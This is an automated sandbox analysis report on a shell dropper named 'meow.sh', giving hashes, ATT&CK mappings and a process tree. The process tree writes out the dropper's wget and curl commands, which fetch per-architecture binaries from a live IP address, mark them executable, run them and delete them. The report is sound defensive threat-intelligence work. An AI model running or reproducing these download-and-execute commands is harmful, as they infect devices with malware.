50cffb0f65d31b38f5b222955d92879a3e102d0a0d9a3625ed87fb7834fab210

Analysis

max time kernel
149s
max time network
141s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/08/2026, 00:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
meow.sh
Size 1KB
Sample260805-an6weaah63
SHA256 50cffb0f65d31b38f5b222955d92879a3e102d0a0d9a3625ed87fb7834fab210
MD5 b7f8b2bfb7b1e62622d217c4d52ba122
SHA1 1356b1db6e1965c092cc4b28849ce7150d1ca4e7
SHA512 43e03511a5f8f9d11f39c3edc36768984eda195ff9334b294660f292de8d1208d0511c7b52e8d899f47c22a286b541ecffbbd44751472a24dab12e3c357b5acb
TLSH
T185116DC532906F72FC95AB2B76A6441870C795E651CF4FD458DD3DE4898DE04F443642
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
693	chmod
698	chmod
671	chmod
678	chmod
683	chmod
688	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/armv4l	672	meow.sh

Renames itself 1 IoCs

pid	Process
672	armv4l

Enumerates running processes
Discovers information about currently running processes on the system

Reads MAC address of network interface 2 TTPs 1 IoCs

Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

defense_evasion discovery

System Network Connections Discovery

T1049

Wi-Fi Discovery

T1016.002

description	ioc	Process
File opened for reading	/sys/class/net/eth0/address	armv4l

Reads network interface configuration 2 TTPs 2 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/class/net/eth0/flags	armv4l
File opened for reading	/sys/class/net/eth0/carrier	armv4l

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	upnpd	672	armv4l

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/class/net	armv4l

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/158/cmdline	armv4l
File opened for reading	/proc/676/cmdline	armv4l
File opened for reading	/proc/752/cmdline	armv4l
File opened for reading	/proc/25/cmdline	armv4l
File opened for reading	/proc/151/cmdline	armv4l
File opened for reading	/proc/638/cmdline	armv4l
File opened for reading	/proc/774/cmdline	armv4l
File opened for reading	/proc/785/cmdline	armv4l
File opened for reading	/proc/107/cmdline	armv4l
File opened for reading	/proc/133/cmdline	armv4l
File opened for reading	/proc/801/cmdline	armv4l
File opened for reading	/proc/806/cmdline	armv4l
File opened for reading	/proc/19/cmdline	armv4l
File opened for reading	/proc/703/cmdline	armv4l
File opened for reading	/proc/21/cmdline	armv4l
File opened for reading	/proc/23/cmdline	armv4l
File opened for reading	/proc/43/cmdline	armv4l
File opened for reading	/proc/644/cmdline	armv4l
File opened for reading	/proc/717/cmdline	armv4l
File opened for reading	/proc/731/cmdline	armv4l
File opened for reading	/proc/798/cmdline	armv4l
File opened for reading	/proc/4/cmdline	armv4l
File opened for reading	/proc/17/cmdline	armv4l
File opened for reading	/proc/42/cmdline	armv4l
File opened for reading	/proc/138/cmdline	armv4l
File opened for reading	/proc/695/cmdline	armv4l
File opened for reading	/proc/709/cmdline	armv4l
File opened for reading	/proc/736/cmdline	armv4l
File opened for reading	/proc/796/cmdline	armv4l
File opened for reading	/proc/15/cmdline	armv4l
File opened for reading	/proc/300/cmdline	armv4l
File opened for reading	/proc/319/cmdline	armv4l
File opened for reading	/proc/584/cmdline	armv4l
File opened for reading	/proc/642/cmdline	armv4l
File opened for reading	/proc/691/cmdline	armv4l
File opened for reading	/proc/701/cmdline	armv4l
File opened for reading	/proc/715/cmdline	armv4l
File opened for reading	/proc/3/cmdline	armv4l
File opened for reading	/proc/26/cmdline	armv4l
File opened for reading	/proc/750/cmdline	armv4l
File opened for reading	/proc/804/cmdline	armv4l
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/20/cmdline	armv4l
File opened for reading	/proc/28/cmdline	armv4l
File opened for reading	/proc/317/cmdline	armv4l
File opened for reading	/proc/564/cmdline	armv4l
File opened for reading	/proc/679/cmdline	armv4l
File opened for reading	/proc/793/cmdline	armv4l
File opened for reading	/proc/795/cmdline	armv4l
File opened for reading	/proc/689/cmdline	armv4l
File opened for reading	/proc/711/cmdline	armv4l
File opened for reading	/proc/724/cmdline	armv4l
File opened for reading	/proc/760/cmdline	armv4l
File opened for reading	/proc/766/cmdline	armv4l
File opened for reading	/proc/776/cmdline	armv4l
File opened for reading	/proc/168/cmdline	armv4l
File opened for reading	/proc/706/cmdline	armv4l
File opened for reading	/proc/7/cmdline	armv4l
File opened for reading	/proc/29/cmdline	armv4l
File opened for reading	/proc/106/cmdline	armv4l
File opened for reading	/proc/684/cmdline	armv4l
File opened for reading	/proc/732/cmdline	armv4l
File opened for reading	/proc/800/cmdline	armv4l
File opened for reading	/proc/8/cmdline	armv4l

System Network Configuration Discovery 1 TTPs 8 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
681	wget
682	curl
684	mipsel
685	rm
676	wget
677	curl
679	.mips
680	rm

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/armv4l	wget
File opened for modification	/tmp/armv4l	curl

/tmp/meow.sh
/tmp/meow.sh
1⤵
- Executes dropped EXE
PID:642
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:647
- /usr/bin/wget
  wget http://94.154.43.164/armv4l
  2⤵
  - Writes file to tmp directory
  PID:654
- /usr/bin/curl
  curl -O http://94.154.43.164/armv4l
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:669
- /bin/chmod
  chmod +x armv4l busybox meow.sh systemd-private-f3169b4ddf9c4cf28915317111dcdafc-systemd-timedated.service-zKpLzP
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/armv4l
  ./armv4l armv4l
  2⤵
  - Renames itself
  - Reads MAC address of network interface
  - Reads network interface configuration
  - Changes its process name
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:672
- /bin/rm
  rm -rf armv4l
  2⤵
  PID:674
- /usr/bin/wget
  wget http://94.154.43.164/mips
  2⤵
  - System Network Configuration Discovery
  PID:676
- /usr/bin/curl
  curl -O http://94.154.43.164/mips
  2⤵
  - System Network Configuration Discovery
  PID:677
- /bin/chmod
  chmod +x busybox libcow.so meow.sh systemd-private-f3169b4ddf9c4cf28915317111dcdafc-systemd-timedated.service-zKpLzP
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/.mips
  ./.mips mips
  2⤵
  - System Network Configuration Discovery
  PID:679
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:680
- /usr/bin/wget
  wget http://94.154.43.164/mipsel
  2⤵
  - System Network Configuration Discovery
  PID:681
- /usr/bin/curl
  curl -O http://94.154.43.164/mipsel
  2⤵
  - System Network Configuration Discovery
  PID:682
- /bin/chmod
  chmod +x busybox libcow.so meow.sh systemd-private-f3169b4ddf9c4cf28915317111dcdafc-systemd-timedated.service-zKpLzP
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/mipsel
  ./mipsel mipsel
  2⤵
  - System Network Configuration Discovery
  PID:684
- /bin/rm
  rm -rf mipsel
  2⤵
  - System Network Configuration Discovery
  PID:685
- /usr/bin/wget
  wget http://94.154.43.164/armv5l
  2⤵
  PID:686
- /usr/bin/curl
  curl -O http://94.154.43.164/armv5l
  2⤵
  PID:687
- /bin/chmod
  chmod +x busybox libcow.so meow.sh systemd-private-f3169b4ddf9c4cf28915317111dcdafc-systemd-timedated.service-zKpLzP
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/armv5l
  ./armv5l armv5l
  2⤵
  PID:689
- /bin/rm
  rm -rf armv5l
  2⤵
  PID:690
- /usr/bin/wget
  wget http://94.154.43.164/i686
  2⤵
  PID:691
- /usr/bin/curl
  curl -O http://94.154.43.164/i686
  2⤵
  PID:692
- /bin/chmod
  chmod +x busybox libcow.so meow.sh systemd-private-f3169b4ddf9c4cf28915317111dcdafc-systemd-timedated.service-zKpLzP
  2⤵
  - File and Directory Permissions Modification
  PID:693
- /tmp/i686
  ./i686 i686
  2⤵
  PID:694
- /bin/rm
  rm -rf i686
  2⤵
  PID:695
- /usr/bin/wget
  wget http://94.154.43.164/armv7l
  2⤵
  PID:696
- /usr/bin/curl
  curl -O http://94.154.43.164/armv7l
  2⤵
  PID:697
- /bin/chmod
  chmod +x busybox libcow.so meow.sh systemd-private-f3169b4ddf9c4cf28915317111dcdafc-systemd-timedated.service-zKpLzP
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/armv7l
  ./armv7l armv7l
  2⤵
  PID:699
- /bin/rm
  rm -rf armv7l
  2⤵
  PID:700

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

armv4l

Path /tmp/armv4l
Size 93KB
SHA256 ef42e6fd238baa990731f2ab20d130c489c1689588c5842713f28b4e90724019
MD5 448ba09e54af0197023998b7fde8c9be
SHA1 221f4d4c06a01399bd975f18da17c07b82764925
SHA512 2d20e87d495145e93ed60ad5ed7e366b72d3dc964b7673844081d45de38c00de2f96e0d7b4ff3948d9858b0aceba5c1155d95a4f0acc2bbe59c80ce1abb7e64d
SSDEEP 1536:8N8/F7AHaT6ZVyEpTgxLuUstaESnYBdQFUBhazHA+Ho1Wm2od4kT4z5En:h/LT6ZVHGxLuLtaESnYPQFUDazHkYoPN
TLSH
T129934B46BD81DB42C6E82376BA5D82CC332603F8D2EA7106DD265F6137DB81B0E7B651
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

busybox

Path /tmp/busybox
Size 507KB
SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
MD5 e588bcf03ae78237b58899d35f50c570
SHA1 2194732ebbefbc27bdae876c77f2a97a20175710
SHA512 904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555
SSDEEP 12288:KKCUYnMx/qAPbFabrimkuc+GnCIRki2jEyfbPxG3:KKqKqsbF2ZjGIrPfbPxG3
TLSH
T1EEB4E0C9FD812D83C6C3823D32021C759575D5DDB3AA921A322DA0FB3768AB653DE394
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads